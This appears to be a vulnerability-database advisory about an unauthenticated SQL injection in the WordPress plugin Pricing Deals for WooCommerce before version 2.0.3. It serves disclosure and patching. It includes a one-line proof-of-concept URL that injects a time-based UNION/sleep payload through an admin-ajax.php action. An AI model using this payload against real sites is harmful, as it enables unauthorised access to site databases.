Lucene search

K
wpvulndbKingWPVDB-ID:7C33FFC3-84D1-4A0F-A837-794CDC3AD243
HistoryJun 16, 2022 - 12:00 a.m.

Pricing Deals for WooCommerce < 2.0.3 - Unauthenticated SQLi

2022-06-1600:00:00
king
wpscan.com
8

0.04 Low

EPSS

Percentile

92.2%

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to an unauthenticated SQL injection

PoC

https://examle.com/wp-admin/admin-ajax.php?action=vtprd_product_search_ajax&amp;term;=aaa%‘+union+select+1,sleep(5),3%23’

CPENameOperatorVersion
pricing-deals-for-woocommercelt2.0.3

0.04 Low

EPSS

Percentile

92.2%

Related for WPVDB-ID:7C33FFC3-84D1-4A0F-A837-794CDC3AD243